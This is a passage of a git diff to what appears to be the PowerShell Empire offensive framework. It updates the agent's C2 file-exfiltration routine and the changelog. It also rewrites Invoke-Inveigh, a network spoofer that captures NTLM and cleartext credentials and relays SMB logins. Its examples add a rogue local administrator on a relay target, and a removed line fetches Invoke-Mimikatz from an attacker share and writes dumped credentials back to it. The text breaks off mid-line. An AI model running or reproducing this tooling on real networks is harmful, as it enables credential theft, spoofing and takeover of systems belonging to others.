diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md new file mode 100644 index 000000000..eaeafb6de --- /dev/null +++ b/.github/CONTRIBUTING.md @@ -0,0 +1,30 @@ +# How To Contribute + +Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions. + + +## Creating Github Issues + +Please first review the existing Empire issues to see if the error was resolved with a fix in the development branch or if we chose not to fix the error for some reason. + +The more information you provide in a Github issue the easier it will be for us to track down and fix the problem: + +* Please provide the version of Empire you are using. +* Please provide the OS and Python versions that you are using. +* Please describe the expected behavior and the encountered error. + * The more detail the better! + * Include any actions taken just prior to the error. + * Please post a screenshot of the error, a link to a Pastebin dump of the error, or embedded text of the error. +* Any additional information. + + +## Submitting Modules + +* Submit pull requests to the [dev branch](https://github.com/powershellempire/Empire/tree/dev). After testing, changes will be merged to master. +* Base modules on the template at [./modules/template.py](https://github.com/PowerShellEmpire/Empire/blob/dev/lib/modules/template.py). **Note** that for some modules you may need to massage the output to get it into a nicely displayable text format [with Out-String](https://github.com/PowerShellEmpire/Empire/blob/0cbdb165a29e4a65ad8dddf03f6f0e36c33a7350/lib/modules/situational_awareness/network/powerview/get_user.py#L111). +* Cite previous work in the **'Comments'** module section. +* If your script.ps1 logic is large, may be reused by multiple modules, or is updated often, consider implementing the logic in the appropriate **data/module_source/*** directory and [pulling the script contents into the module on tasking](https://github.com/PowerShellEmpire/Empire/blob/0cbdb165a29e4a65ad8dddf03f6f0e36c33a7350/lib/modules/situational_awareness/network/powerview/get_user.py#L85-L95). +* Use [approved PowerShell verbs](https://technet.microsoft.com/en-us/library/ms714428(v=vs.85).aspx) for any functions. +* PowerShell Version 2 compatibility is **STRONGLY** preferred. +* TEST YOUR MODULE! Be sure to run it from an Empire agent before submitting a pull to ensure everything is working correctly. +* For additional guidelines for your PowerShell code itself, check out the [PowerSploit style guide](https://github.com/PowerShellMafia/PowerSploit/blob/master/README.md). \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md new file mode 100644 index 000000000..8c6007b85 --- /dev/null +++ b/.github/ISSUE_TEMPLATE.md @@ -0,0 +1,13 @@ +## Empire Version + + +## OS Information (Linux flavor, Python version) + + +## Expected behavior and description of the error, including any actions taken immediately prior to the error. The more detail the better. + + +## Screenshot of error, embedded text output, or Pastebin link to the error + + +## Any additional information diff --git a/changelog b/changelog index aac15f5cf..6f99c711b 100644 --- a/changelog +++ b/changelog @@ -1,11 +1,58 @@ +============ +3/31/2015 - RELEASE 1.5 +============ +-Encompasses all changes since the 1.4 tagged release + + 3/31/2016 --------- +-Merge of Inveigh 1.1 update and privesc/tater +-Updated of Invoke-Mimikatz.ps1 source -Updated mimikatz dlls to version 2.1 alpha -Included modification to suppress cmd.exe when spawned via PTH. -1/17/2016 +3/30/2016 +--------- +-Added loading of external modules with 'load /path/modules/' + +3/25/2016 +--------- +-RESTful API modifications +-expanded agent/server epoch check to +/- 12 hours +-stagers now run -sta + +3/24/2016 +--------- +-RESTful API modifications + +3/22/2016 +--------- +-added auth to RESTful API, additional API fixes + +3/21/2016 +--------- +-start of RESTful API implementation + +3/19/2016 +--------- +-PowerView.ps1 update and multiple related module additions +-added github issue templates +-added situational_awareness/network/powerview/get_gpo_computer + +3/11/2016 +--------- +-added privesc/getsystem +-bug fix for Invoke-PsExec and some x64 pointers + +3/3/2016 +--------- +-first pass at stager retry interval +-download chunking modified + +2/17/2016 --------- - '--debug 2' now displays debug information to the console as well as the empire.debug file +-added privesc/mcafee_sitelist 1/15/2016 --------- @@ -21,11 +68,13 @@ ---------- -Corrected several bugs in how the workingHours window is handled in the agent + ============ 12/29/2015 - RELEASE 1.4 ============ -Encompasses all changes since 1.3.1 tagged release + 12/29/2015 ---------- -Added situational_awareness/network/powerview/find_managed_security_groups to integrate @stufus' new code @@ -121,16 +170,19 @@ --------- -Fixed small bug in TASK_CMD_WAIT response parsing + ============ 10/30/2015 - RELEASE 1.3.1 ============ -Updated reflectivepick dlls to fix bug in injection and dll payload injection + ============ 10/29/2015 - RELEASE 1.3 ============ -Encompasses all changes since 1.2 tagged release + 10/26/2015 ---------- -Fix for psinject bug due to lack of .NET 4.0 on target. @@ -168,6 +220,7 @@ --- Six new modules and WAR stager added, /sids option added to golden_ticket --- Fixed international locale bug with unicode text in agent.ps1 + 8/29/2015 --------- -HMAC algorithm for packet comms upgraded to use SHA1 instead of MD5 @@ -215,6 +268,7 @@ --- Ability for agents to die after certain number of failed checkins --- Added ability to easily remove "stale" agents + 8/15/2015 --------- -Added modules management/timestomp, trollsploit/process_killer, persistence/elevated/wmi, situational_awareness/network/smbscanner, lateral_movement/invoke_psexec diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index f8443daa1..df2c456c4 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -668,12 +668,45 @@ function Invoke-Empire { } # file download elseif($type -eq 41){ - try{ - $path = Get-Childitem $data | %{$_.FullName} - # read in and send 512kb chunks for as long as the file has more parts + try { + $ChunkSize = 512KB + + $Parts = $Data.Split(" ") + + if($Parts.Length -gt 1) { + $Path = $Parts[0..($parts.length-2)] -join " " + try { + $ChunkSize = $Parts[-1]/1 + if($Parts[-1] -notlike "*b*") { + # if MB/KB not specified, assume KB and adjust accordingly + $ChunkSize = $ChunkSize * 1024 + } + } + catch { + # if there's an error converting the last token, assume no + # chunk size is specified and add the last token onto the path + $Path += " $($Parts[-1])" + } + } + else { + $Path = $Data + } + + # hardcoded floor/ceiling limits + if($ChunkSize -lt 64KB) { + $ChunkSize = 64KB + } + elseif($ChunkSize -gt 8MB) { + $ChunkSize = 8MB + } + + # resolve the complete path + $Path = Get-Childitem $Path | %{$_.FullName} + + # read in and send the specified chunk size back for as long as the file has more parts $Index = 0 do{ - $EncodedPart = Get-FilePart -File "$path" -Index $Index + $EncodedPart = Get-FilePart -File "$path" -Index $Index -ChunkSize $ChunkSize if($EncodedPart){ $data = "{0}|{1}|{2}" -f $Index, $path, $EncodedPart @@ -699,7 +732,7 @@ function Invoke-Empire { Encode-Packet -type 40 -data "[*] File download of $path completed" } - catch{ + catch { Encode-Packet -type 0 -data "file does not exist or cannot be accessed" } } @@ -862,9 +895,10 @@ function Invoke-Empire { # calculate what the server's epoch should be based on the epoch diff # this is just done for the first packet in a queue $ServerEpoch = [int][double]::Parse((Get-Date(Get-Date).ToUniversalTime()-UFormat %s)) - $script:EpochDiff - # if the epoch counter isn't within a +/- 10 minute range (600 seconds) + + # if the epoch counter isn't within a +/- 12 hour range (43200 seconds) # skip processing this packet - if ($counter -lt ($ServerEpoch-600) -or $counter -gt ($ServerEpoch+600)){ + if ($counter -lt ($ServerEpoch-43200) -or $counter -gt ($ServerEpoch+43200)){ return } diff --git a/data/agent/stager.ps1 b/data/agent/stager.ps1 index e7ae0e9a2..225bfe02e 100644 --- a/data/agent/stager.ps1 +++ b/data/agent/stager.ps1 @@ -67,7 +67,10 @@ function Start-Negotiate{ $p=(gwmi Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress); # check if the IP is a string or the [IPv4,IPv6] array - $i+='|'+@{$true=$p[0];$false=$p}[$p.Length -lt 6]; + $ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6]; + if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'}; + $i+="|$ip"; + $i+='|'+(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0]; # detect if we're SYSTEM or otherwise high-integrity diff --git a/data/module_source/collection/Invoke-Inveigh.ps1 b/data/module_source/collection/Invoke-Inveigh.ps1 index c656c99cf..8838a9e3b 100644 --- a/data/module_source/collection/Invoke-Inveigh.ps1 +++ b/data/module_source/collection/Invoke-Inveigh.ps1 @@ -2,98 +2,196 @@ Function Invoke-Inveigh { <# .SYNOPSIS -Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP(S)/SMB and NTLMv2 HTTP to SMB relay. +Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP/HTTPS/SMB. + .DESCRIPTION -Inveigh is a Windows PowerShell LLMNR/NBNS spoofer designed to assist penetration testers that find themselves limited to a Windows system. -This can commonly occur while performing standard post exploitation, phishing attacks, USB drive attacks, VLAN pivoting, or simply being restricted to a Windows system as part of client imposed restrictions. +Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with the following features: + + IPv4 LLMNR/NBNS spoofer with granular control + NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/SMB + Basic auth cleartext credential capture over HTTP/HTTPS + WPAD server capable of hosting a basic or custom wpad.dat file + HTTP/HTTPS server capable of hosting limited content + Granular control of console and file output + Run time control + .PARAMETER IP -Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the 'SpoofIP' parameter is not set. +Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the SpooferIP parameter is not set. + .PARAMETER SpooferIP Specify an IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host. + +.PARAMETER SpooferHostsReply +Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS. + +.PARAMETER SpooferHostsIgnore +Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS. + +.PARAMETER SpooferIPsReply +Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS. + +.PARAMETER SpooferIPsIgnore +Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS. + +.PARAMETER SpooferRepeat +Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured. + .PARAMETER LLMNR -Default = Enabled: Enable/Disable LLMNR spoofing. +Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing. + +.PARAMETER LLMNRTTL +Default = 30 Seconds: Specify a custom LLMNR TTL in seconds for the response packet. + .PARAMETER NBNS -Default = Disabled: Enable/Disable NBNS spoofing. +Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. + +.PARAMETER NBNSTTL +Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. + .PARAMETER NBNSTypes Default = 00,20: Comma separated list of NBNS types to spoof. Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name -.PARAMETER Repeat -Default = Enabled: Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured. -.PARAMETER SpoofList -Default = All: Comma separated list of hostnames to spoof with LLMNR and NBNS. + .PARAMETER HTTP -Default = Enabled: Enable/Disable HTTP challenge/response capture. +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + .PARAMETER HTTPS -Default = Disabled: Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. +Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. If the script does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store. + +.PARAMETER HTTPAuth +Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests. + +.PARAMETER HTTPBasicRealm +Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. + +.PARAMETER HTTPDir +Specify a full directory path to enable hosting of basic content through the HTTP/HTTPS listener. This parameter will not be used if HTTPResponse is set. + +.PARAMETER HTTPDefaultFile +Specify a filename within the HTTPDir to serve as the default HTTP/HTTPS response file. This file will not be used for wpad.dat requests. + +.PARAMETER HTTPDefaultEXE +Specify an EXE filename within the HTTPDir to serve as the default HTTP/HTTPS response for EXE requests. + +.PARAMETER HTTPResponse +Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. Use PowerShell character escapes where necessary. + +.PARAMETER HTTPSCertAppID +Specify a valid application GUID for use with the ceriticate. + +.PARAMETER HTTPSCertThumbprint +Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx. + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. + +.PARAMETER WPADIP +Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort. + +.PARAMETER WPADPort +Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP. + +.PARAMETER WPADDirectHosts +Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. + +.PARAMETER WPADResponse +Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set. Use PowerShell character escapes where necessary. + .PARAMETER SMB -Default = Enabled: Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still direct targets to the host system's SMB server. -Block TCP ports 445/139 if you need to prevent login requests from being processed by the Inveigh host. +Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still direct targets to the host system's SMB server. +Block TCP ports 445/139 or kill the SMB services if you need to prevent login requests from being processed by the Inveigh host. + .PARAMETER Challenge -Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. +Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. This will only be used for non-relay captures. + .PARAMETER MachineAccounts -Default = Disabled: Enable/Disable showing NTLM challenge/response captures from machine accounts. -.PARAMETER ForceWPADAuth -Default = Enabled: Matches Responder option to Enable/Disable authentication for wpad.dat GET requests. Disabling can prevent browser login prompts. +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. + .PARAMETER SMBRelay -Default = Disabled: Enable/Disable SMB relay. +Default = Disabled: (Y/N) Enable/Disable SMB relay. Note that Inveigh-Relay.ps1 must be loaded into memory. + .PARAMETER SMBRelayTarget IP address of system to target for SMB relay. + .PARAMETER SMBRelayCommand Command to execute on SMB relay target. + .PARAMETER SMBRelayUsernames Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format. + .PARAMETER SMBRelayAutoDisable -Default = Enable: Automaticaly disable SMB relay after a successful command execution on target. +Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. + .PARAMETER SMBRelayNetworkTimeout -Default = No Timeout: Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. +Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. + .PARAMETER ConsoleOutput -Default = Disabled: Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. +Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. + .PARAMETER FileOutput -Default = Disabled: Enable/Disable real time file output. +Default = Disabled: (Y/N) Enable/Disable real time file output. + .PARAMETER StatusOutput -Default = Enabled: Enable/Disable statup and shutdown messages. +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + .PARAMETER OutputStreamOnly -Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams. +Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. + .PARAMETER OutputDir -Default = Working Directory: Set an output directory for log and capture files. +Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled. + .PARAMETER ShowHelp -Default = Enabled: Enable/Disable the help messages at startup. +Default = Enabled: (Y/N) Enable/Disable the help messages at startup. + .PARAMETER RunTime -Set the run time duration in minutes. +(Integer) Set the run time duration in minutes. + +.PARAMETER Inspect +(Switch) Disable LLMNR, NBNS, HTTP, HTTPS, and SMB in order to only inspect LLMNR/NBNS traffic. + .PARAMETER Tool -Default = 0: Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire +Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire + .EXAMPLE Import-Module .\Inveigh.psd1;Invoke-Inveigh Import full module and execute with all default settings. + .EXAMPLE . ./Inveigh.ps1;Invoke-Inveigh -IP 192.168.1.10 Dot source load and execute specifying a specific local listening/spoofing IP. + .EXAMPLE Invoke-Inveigh -IP 192.168.1.10 -HTTP N Execute specifying a specific local listening/spoofing IP and disabling HTTP challenge/response. + .EXAMPLE -Invoke-Inveigh -Repeat N -ForceWPADAuth N -SpoofList host1,host2 +Invoke-Inveigh -SpooferRepeat N -WPADAuth Anonymous -SpooferHostsReply host1,host2 -SpooferIPsReply 192.168.2.75,192.168.2.76 Execute with the stealthiest options. + +.EXAMPLE +Invoke-Inveigh -Inspect +Execute with LLMNR, NBNS, SMB, HTTP, and HTTPS disabled in order to only inpect LLMNR/NBNS traffic. + .EXAMPLE -Invoke-Inveigh -HTTP N -LLMNR N +Invoke-Inveigh -HTTP N -LLMNR N -NBNS N Execute with LLMNR/NBNS spoofing disabled and challenge/response capture over SMB only. This may be useful for capturing non-Kerberos authentication attempts on a file server. + .EXAMPLE Invoke-Inveigh -IP 192.168.1.10 -SpooferIP 192.168.2.50 -HTTP N Execute specifying a specific local listening IP and a LLMNR/NBNS spoofing IP on another subnet. This may be useful for sending traffic to a controlled Linux system on another subnet. + .EXAMPLE -Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Summer2015 /add && net localgroup administrators Dave /add" -Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target. +Invoke-Inveigh -HTTPResponse '
' +Execute specifying an HTTP redirect response. + .EXAMPLE -Invoke-Inveigh -SMBRelay Y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "powershell \\192.168.2.50\temp$\powermeup.cmd" -Execute with SMB relay enabled and using Mubix's powermeup.cmd method of launching Invoke-Mimikatz.ps1 and uploading output. In this example, a hidden anonymous share containing Invoke-Mimikatz.ps1 is employed on the Inveigh host system. -Powermeup.cmd contents used for this example: -powershell "IEX (New-Object Net.WebClient).DownloadString('\\192.168.2.50\temp$\Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.2.50\temp$\%COMPUTERNAME%.txt 2>&1" -Original version: -https://github.com/mubix/post-exploitation/blob/master/scripts/mass_mimikatz/powermeup.cmd +Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Spring2016 /add && net localgroup administrators Dave /add" +Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target. + .NOTES 1. An elevated administrator or SYSTEM shell is needed. -2. Currently supports IPv4 LLMNR/NBNS spoofing and HTTP/SMB NTLMv1/NTLMv2 challenge/response capture. +2. Currently supports IPv4 LLMNR/NBNS spoofing and HTTP/HTTPS/SMB NTLMv1/NTLMv2 challenge/response capture. 3. LLMNR/NBNS spoofing is performed through sniffing and sending with raw sockets. 4. SMB challenge/response captures are performed by sniffing over the host system's SMB service. 5. HTTP challenge/response captures are performed with a dedicated listener. @@ -102,42 +200,60 @@ https://github.com/mubix/post-exploitation/blob/master/scripts/mass_mimikatz/pow 8. Kerberos should downgrade for SMB authentication due to spoofed hostnames not being valid in DNS. 9. Ensure that the LMMNR,NBNS,SMB,HTTP ports are open within any local firewall on the host system. 10. If you copy/paste challenge/response captures from output window for password cracking, remove carriage returns. -11. SMB relay support is experimental at this point, use caution if employing on a pen test. + .LINK https://github.com/Kevin-Robertson/Inveigh #> -# Default parameter values can be modified below +# Parameter default values can be modified in this section: param ( - [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$IP = "", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferIP = "", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTP="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTPS="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMB="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$LLMNR="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$NBNS="N", - [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][array]$NBNSTypes=@("00","20"), - [parameter(Mandatory=$false)][array]$SpoofList="", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelay="N", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="", - [parameter(Mandatory=$false)][array]$SMBRelayUsernames, - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y", - [parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="", - [parameter(Mandatory=$false)][string]$SMBRelayCommand = "", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$Repeat="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ForceWPADAuth="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SpooferRepeat="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$FileOutput="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$OutputStreamOnly="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$MachineAccounts="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelay="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][string]$HTTPAuth="NTLM", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][string]$WPADAuth="NTLM", + [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][array]$NBNSTypes=@("00","20"), + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$IP="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferIP="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$WPADIP = "", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$HTTPDir="", [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", + [parameter(Mandatory=$false)][array]$SpooferHostsReply="", + [parameter(Mandatory=$false)][array]$SpooferHostsIgnore="", + [parameter(Mandatory=$false)][array]$SpooferIPsReply="", + [parameter(Mandatory=$false)][array]$SpooferIPsIgnore="", + [parameter(Mandatory=$false)][array]$SMBRelayUsernames="", + [parameter(Mandatory=$false)][array]$WPADDirectHosts="", + [parameter(Mandatory=$false)][int]$LLMNRTTL="30", + [parameter(Mandatory=$false)][int]$NBNSTTL="165", + [parameter(Mandatory=$false)][int]$WPADPort="", [parameter(Mandatory=$false)][int]$RunTime="", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", - [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter + [parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="", + [parameter(Mandatory=$false)][string]$HTTPBasicRealm="IIS", + [parameter(Mandatory=$false)][string]$HTTPDefaultFile="", + [parameter(Mandatory=$false)][string]$HTTPDefaultEXE="", + [parameter(Mandatory=$false)][string]$HTTPResponse="", + [parameter(Mandatory=$false)][string]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF", + [parameter(Mandatory=$false)][string]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d", + [parameter(Mandatory=$false)][string]$WPADResponse="", + [parameter(Mandatory=$false)][string]$SMBRelayCommand="", + [parameter(Mandatory=$false)][switch]$Inspect, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if ($invalid_parameter) @@ -147,7 +263,7 @@ if ($invalid_parameter) if(!$IP) { - $IP = (Test-Connection 127.0.0.1 -count 1 | select -ExpandProperty Ipv4Address) + $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) } if(!$SpooferIP) @@ -166,6 +282,36 @@ if($SMBRelay -eq 'y') { Throw "You must specify an -SMBRelayCommand if enabling -SMBRelay" } + + if($Challenge -or $HTTPDefaultFile -or $HTTPDefaultEXE -or $HTTPResponse -or $WPADIP -or $WPADPort -or $WPADResponse) + { + Throw "-Challenge -HTTPDefaultFile, -HTTPDefaultEXE, -HTTPResponse, -WPADIP, -WPADPort, and -WPADResponse can not be used when enabling -SMBRelay" + } + elseif($HTTPAuth -ne 'NTLM' -or $WPADAuth -eq 'Basic') + { + Throw "Only -HTTPAuth NTLM, -WPADAuth NTLM, and -WPADAuth Anonymous can be used when enabling -SMBRelay" + } +} + +if($HTTPDefaultFile -or $HTTPDefaultEXE) +{ + if(!$HTTPDir) + { + Throw "You must specify an -HTTPDir when using either -HTTPDefaultFile or -HTTPDefaultEXE" + } +} + +if($WPADIP -or $WPADPort) +{ + if(!$WPADIP) + { + Throw "You must specify a -WPADPort to go with -WPADIP" + } + + if(!$WPADPort) + { + Throw "You must specify a -WPADIP to go with -WPADPort" + } } if(!$OutputDir) @@ -183,11 +329,20 @@ if(!$inveigh) $inveigh.log = New-Object System.Collections.ArrayList $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList + $inveigh.cleartext_list = New-Object System.Collections.ArrayList $inveigh.IP_capture_list = @() $inveigh.SMBRelay_failed_list = @() } -$inveigh.running = $false +if($inveigh.running) +{ + Throw "Invoke-Inveigh is already running, use Stop-Inveigh" +} +elseif($inveigh.relay_running) +{ + Throw "Invoke-InveighRelay is already running, use Stop-Inveigh" +} + $inveigh.sniffer_socket = $null if($inveigh.HTTP_listener.IsListening) @@ -201,7 +356,9 @@ $inveigh.status_queue = New-Object System.Collections.ArrayList $inveigh.log_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList -$inveigh.certificate_thumbprint = "76a49fd27011cf4311fb6914c904c90a89f3e4b2" +$inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList +$inveigh.certificate_application_ID = $HTTPSCertAppID +$inveigh.certificate_thumbprint = $HTTPSCertThumbprint $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList $inveigh.console_output = $false $inveigh.console_input = $true @@ -209,7 +366,13 @@ $inveigh.file_output = $false $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" -$Inveigh.challenge = $Challenge +$inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" +$inveigh.HTTP_response = $HTTPResponse +$inveigh.HTTP_directory = $HTTPDir +$inveigh.HTTP_default_file = $HTTPDefaultFile +$inveigh.HTTP_default_exe = $HTTPDefaultEXE +$inveigh.WPAD_response = $WPADResponse +$inveigh.challenge = $Challenge $inveigh.running = $true if($StatusOutput -eq 'y') @@ -230,6 +393,15 @@ else $inveigh.output_stream_only = $false } +if($Inspect) +{ + $LLMNR = "N" + $NBNS = "N" + $HTTP = "N" + $HTTPS = "N" + $SMB = "N" +} + if($Tool -eq 1) # Metasploit Interactive PowerShell { $inveigh.tool = 1 @@ -254,19 +426,14 @@ else # Write startup messages $inveigh.status_queue.add("Inveigh started at $(Get-Date -format 's')")|Out-Null -$inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |Out-Null - -if($FileOutput -eq 'y') -{ - "$(Get-Date -format 's') - Inveigh started" |Out-File $Inveigh.log_out_file -Append -} - +$inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh started")]) |Out-Null $inveigh.status_queue.add("Listening IP Address = $IP") |Out-Null $inveigh.status_queue.add("LLMNR/NBNS Spoofer IP Address = $SpooferIP")|Out-Null if($LLMNR -eq 'y') { $inveigh.status_queue.add("LLMNR Spoofing Enabled")|Out-Null + $inveigh.status_queue.add("LLMNR TTL = $LLMNRTTL Seconds")|Out-Null $LLMNR_response_message = "- spoofed response has been sent" } else @@ -275,12 +442,6 @@ else $LLMNR_response_message = "- LLMNR spoofing is disabled" } -if($SpoofList -and ($LLMNR -eq 'y' -or $NBNS -eq 'y')) -{ - $spoof_list_output = $SpoofList -join "," - $inveigh.status_queue.add("Spoofing only $spoof_list_output")|Out-Null -} - if($NBNS -eq 'y') { $NBNSTypes_output = $NBNSTypes -join "," @@ -293,7 +454,8 @@ if($NBNS -eq 'y') { $inveigh.status_queue.add("NBNS 